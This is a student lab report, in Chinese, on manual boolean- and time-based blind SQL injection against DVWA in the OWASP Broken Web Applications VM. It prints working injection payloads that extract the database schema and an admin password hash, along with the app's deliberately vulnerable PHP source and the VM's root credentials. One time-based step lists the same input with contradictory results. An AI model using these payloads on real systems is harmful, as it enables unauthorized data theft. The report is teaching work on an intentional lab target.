

# 软件安全实验报告

姓名：辛浩然      学号：2112514      班级：信息安全、法学

## 1 实验名称

SQL 盲注

## 2 实验要求

基于 DVWA 里的 SQL 盲注案例，实施手工盲注，参考课本，撰写实验报告。

## 3 实验过程

首先，在 VMWare 中打开 OWASP 发布的开源虚拟镜像。

```
You can access the web apps at http://192.168.2.131/

You can administer / configure this machine through the console here, by SSHing
to 192.168.2.131, via Samba at \\192.168.2.131\, or via phpmyadmin at
http://192.168.2.131/phpmyadmin.

In all these cases, you can use username "root" and password "owaspbwa".

OWASP Broken Web Applications VM Version 1.2
Log in with username = root and password = owaspbwa

owaspbwa login: root
Password:
Last login: Wed May 10 06:51:18 EDT 2023 on tty1
You have new mail.

Welcome to the OWASP Broken Web Apps VM

!!! This VM has many serious security issues. We strongly recommend that you run
it only on the "host only" or "NAT" network in the VM settings !!!

You can access the web apps at http://192.168.2.131/

You can administer / configure this machine through the console here, by SSHing
to 192.168.2.131, via Samba at \\192.168.2.131\, or via phpmyadmin at
http://192.168.2.131/phpmyadmin.

In all these cases, you can use username "root" and password "owaspbwa".

root@owaspbwa:~# _
```

kali 访问 <http://192.168.2.131>。页面如下：

[curity Project \(OWASP\) Broken Web Applications](#) project. It contains many, very vulnerable web applications, which are listed below. N  
ese applications, see [https://sourceforge.net/p/owaspbwa/tickets/?limit=999&sort=\\_severity+asc](https://sourceforge.net/p/owaspbwa/tickets/?limit=999&sort=_severity+asc).


!!! This VM has many serious security issues. We strongly recommend that you run it only on the "host only" or "NAT" network in the virtual machine settings !!!

TRAINING APPLICATIONS	
<a href="#">OWASP WebGoat</a>	<a href="#">OWASP WebGoat.NET</a>
<a href="#">OWASP ESAPI Java SwingSet Interactive</a>	<a href="#">OWASP Mutillidae II</a>
<a href="#">OWASP RailsGoat</a>	<a href="#">OWASP Bricks</a>
<a href="#">OWASP Security Shepherd</a>	<a href="#">Ghost</a>
<a href="#">Magical Code Injection Rainbow</a>	<a href="#">bWAPP</a>
<a href="#">Damn Vulnerable Web Application</a>	

REALISTIC, INTENTIONALLY VULNERABLE APPLICATIONS	
<a href="#">OWASP Vicnum</a>	<a href="#">OWASP 1-Liner</a>
<a href="#">Google Gruyere</a>	<a href="#">Hackxor</a>
<a href="#">WackoPicko</a>	<a href="#">Bodgelt</a>
<a href="#">Cyclone</a>	<a href="#">Peruggia</a>

OLD (VULNERABLE) VERSIONS OF REAL APPLICATIONS

登录后进入 sql 盲注页面：



Home

Instructions

Setup

Brute Force

Command Execution

CSRF

Insecure CAPTCHA

File Inclusion

SQL Injection

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security

PHP Info

About

Logout

### Vulnerability: SQL Injection (Blind)

User ID:

#### More info

<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>  
[http://en.wikipedia.org/wiki/SQL\\_injection](http://en.wikipedia.org/wiki/SQL_injection)  
<http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/>  
<http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet>

Username: user  
Security Level: low  
PHPIDS: disabled

## 3.1 基于布尔的 SQL 盲注

### 3.1.1 判断是否存在注入及注入类型

首先，判断是否存在注入，注入是字符型还是数字型。  
输入 1，显示相应用户存在。

## Vulnerability: SQL Injection (Blind)

User ID:

Submit

ID: 1  
First name: admin  
Surname: admin

输入 1' and 1=1 #，单引号为了闭合原来 SQL 语句中的第一个单引号，而后面的 # 为了闭合后面的单引号。运行后，显示存在：

## Vulnerability: SQL Injection (Blind)

User ID:

Submit

ID: 1' and 1=1 #  
First name: admin  
Surname: admin

输入 1' and 1=2 #，显示不存在：

## Vulnerability: SQL Injection (Blind)

User ID:

Submit

说明存在字符型的 SQL 盲注。

点击页面右下角 View Source，来查看源代码：

### SQL Injection (Blind) Source

```
<?php
if (isset($_GET['Submit'])) {
    // Retrieve data
    $id = $_GET['id'];

    $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
    $result = mysql_query($getid); // Removed 'or die' to suppress mysql errors

    $num = @mysql_numrows($result); // The '@' character suppresses errors making the injection 'blind'

    $i = 0;

    while ($i < $num) {

        $first = mysql_result($result,$i,"first_name");
        $last = mysql_result($result,$i,"last_name");

        echo '<pre>';
        echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
        echo '</pre>';

        $i++;
    }
}
?>
```

程序未对输入的 id 进行任何处理。

### 3.1.2 猜解数据库名

首先猜解数据库名称的长度，使用length(database())表示数据库名称的长度：

输入 `1' and length(database())=1 #`，显示不存在；

.....

输入 `1' and length(database())=4 #`，显示存在，说明数据库名长度为 4。

**Vulnerability: SQL Injection (Blind)**

User ID:

```
ID: 1' and length(database())=4#  
First name: admin  
Surname: admin
```

随后，挨个猜解字符。使用 `ascii(substr(database(),1,1))` 得到字符第一位的 ASCII 码值。使用二分法：

输入 `1' and ascii(substr(database(),1,1))>97 #`，显示存在，说明数据库名的第一个字符的 ascii 值大于 97（小写字母 a 的 ascii 值）；

输入 `1' and ascii(substr(database(),1,1))<122 #`，显示存在，说明数据库名的第一个字符的 ascii 值小于 122（小写字母 z 的 ascii 值）；

输入 `1' and ascii(substr(database(),1,1))<109 #`，显示存在，说明数据库名的第一个字符的 ascii 值小于 109（小写字母 m 的 ascii 值）；

输入 `1' and ascii(substr(database(),1,1))<103 #`，显示存在，说明数据库名的第一个字符的 ascii 值小于 103（小写字母 g 的 ascii 值）；

输入 `1' and ascii(substr(database(),1,1))<100 #`，显示不存在，说明数据库名的第一个字符的 ascii 值不小于 100（小写字母 d 的 ascii 值）；

输入 `1' and ascii(substr(database(),1,1))>100 #`，显示不存在，说明数据库名的第一个字符的 ascii 值不大于 100（小写字母 d 的 ascii 值），所以数据库名的第一个字符的 ascii 值为 100，即小写字母 d。

验证一下，第一个字符确实为小写字母 d。

**Vulnerability: SQL Injection (Blind)**

User ID:

```
ID: 1' and ascii(substr(database(),1,1))=100 #  
First name: admin  
Surname: admin
```

重复上述步骤，可以得到数据库名称为 **dvwa**。

### 3.1.3 猜解数据库中的表名

首先猜解数据库中表的数量，使用 `select count(table_name) from information_schema.tables where table_schema=database()` 得到数据库中表的数量。

`1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 #` 显示不存在；

`1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #` 显示存在。说明数据库中共有两个表。

### Vulnerability: SQL Injection (Blind)

User ID:

```
ID: 1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #
First name: admin
Surname: admin
```

接着挨个猜解表名的长度。

1' and length(substr((select table\_name from information\_schema.tables where table\_schema=database() limit 0,1),1))=1 # 显示不存在;

.....

1' and length(substr((select table\_name from information\_schema.tables where table\_schema=database() limit 0,1),1))=9 # 显示存在。

说明第一个表名长度为 9。

### Vulnerability: SQL Injection (Blind)

User ID:

```
ID: 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #
First name: admin
Surname: admin
```

接下来，继续用二分法来猜测表名。

1' and ascii(substr((select table\_name from information\_schema.tables where table\_schema=database() limit 0,1),1,1))>97 # 显示存在;

1' and ascii(substr((select table\_name from information\_schema.tables where table\_schema=database() limit 0,1),1,1))<122 # 显示存在;

1' and ascii(substr((select table\_name from information\_schema.tables where table\_schema=database() limit 0,1),1,1))<109 # 显示存在;

1' and ascii(substr((select table\_name from information\_schema.tables where table\_schema=database() limit 0,1),1,1))<103 # 显示不存在;

1' and ascii(substr((select table\_name from information\_schema.tables where table\_schema=database() limit 0,1),1,1))>103 # 显示不存在;

说明第一个表的名字的第一个字符为小写字母 g。

验证一下

### Vulnerability: SQL Injection (Blind)

User ID:

```
ID: 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #
First name: admin
Surname: admin
```

.....

重复上述步骤，即可猜解出两个表名分别为 **guestbook** 和 **users**。

#### 3.1.4 猜解用户名和密码

猜测 users 表中含有 user 和 password 字段，填写以下内容：

1' and (select count(\*) from information\_schema.columns where table\_schema=database() and table\_name='users' and column\_name='user')=1 #

1' and (select count(\*) from information\_schema.columns where table\_schema=database()  
and table\_name='users' and column\_name='password')=1 #

**Vulnerability: SQL Injection (Blind)**

User ID:

```
ID: 1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user')=1 #
First name: admin
Surname: admin
```

**Vulnerability: SQL Injection (Blind)**

User ID:

```
ID: 1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1 #
First name: admin
Surname: admin
```

猜测 users 表 user 字段保存的值:

1' and length(substr((select user from users limit 0,1 ),1))=5 #

**Vulnerability: SQL Injection (Blind)**

User ID:

```
ID: 1' and length(substr((select user from users limit 0,1 ),1))=5 #
First name: admin
Surname: admin
```

猜解出值长度为 5

1' and ascii(substr((select user from users limit 0,1 ),1,1))=97 #

**Vulnerability: SQL Injection (Blind)**

User ID:

```
ID: 1' and ascii(substr((select user from users limit 0,1 ),1,1))=97 #
First name: admin
Surname: admin
```

猜解出第一个字符为 a

依次猜解出此用户名为 admin;

同理猜解出密码为 32 位,是 md5 加密,密码为 5f4dcc3b5aa765d61d8327deb882cf99("password").

### 3.1.5 基于时间的 SQL 盲注

首先判断是否存在注入,注入是字符型还是数字型:

输入 1' and sleep(5) #, 感觉到明显延迟;

输入 1' and sleep(5) #, 没有延迟。

说明存在字符型的基于时间的盲注。

猜解当前数据库名字长度:

1' and if(length(database())=1,sleep(5),1) # 没有延迟;

1' and if(length(database())=4,sleep(5),1) # 明显延迟。

说明数据库名字长度为 4。

采用二分法猜解数据库名：

```
1' and if(ascii(substr(database(),1,1))>97,sleep(5),1) # 明显延迟。
```

以此类推，猜解表、字段和数据。

## 4 心得体会

本次实验，基于 DVWA 里的 SQL 盲注案例实施了手工盲注，理解了 SQL 注入漏洞的注入原理，理解了寻找注入点的原理，掌握了手工盲注的方法。